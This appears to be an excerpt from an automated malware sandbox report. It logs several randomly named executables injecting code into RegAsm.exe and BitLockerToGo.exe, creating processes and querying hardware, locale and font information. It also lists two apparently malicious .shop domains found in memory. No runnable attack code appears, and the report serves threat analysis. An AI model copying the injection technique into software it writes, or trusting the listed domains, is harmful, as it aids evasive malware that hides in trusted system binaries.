Source: JJdIaooFQpkpcWNUCJ71mJDj.exe, 0000000A.00000002.2204897517.0000000001AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: traineiwnqo.shop
Source: JJdIaooFQpkpcWNUCJ71mJDj.exe, 0000000A.00000002.2204897517.0000000001AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: locatedblsoqp.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 56B000	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58A000	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 592000	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 5D8000	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: BB9008	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 7C4008	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 401000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 443000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 446000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 456000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42F000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43C000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 651000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 652000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: DC2008	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63E000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: A8C008	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 432000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 450000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 653008	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 456000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 47E000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: D3F008	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 6DC008
Source: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000
Source: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 401000
Source: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 440000
Source: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 443000
Source: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 452000

Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Process created: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe "C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 8032 -ip 8032
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 8024 -ip 8024
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8032 -s 852
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8024 -s 824
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown

Source: 8LEi0YA5qqlYpHd7zimCU8lz.exe, 00000009.00000002.2281546766.0000000004215000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: Progman

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0053D8FE cpuid

2_2_0053D8FE

Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe	Code function: GetLocaleInfoA,		7_2_0040520C
Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe	Code function: GetLocaleInfoA,		7_2_00405258

Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Queries volume information: C:\Users\user\Desktop\gobEmOm5sr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Queries volume information: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe	Queries volume information: C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe	Queries volume information: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe	Queries volume information: C:\Windows VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe	Queries volume information: C:\Windows\AppReadiness VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Queries volume information: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Queries volume information: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Queries volume information: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Queries volume information: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe	Queries volume information: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe VolumeInformation
Source: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe	Queries volume information: C:\Windows VolumeInformation
Source: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe	Queries volume information: C:\Windows\AppReadiness VolumeInformation
Source: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents VolumeInformation
Source: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation
Source: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
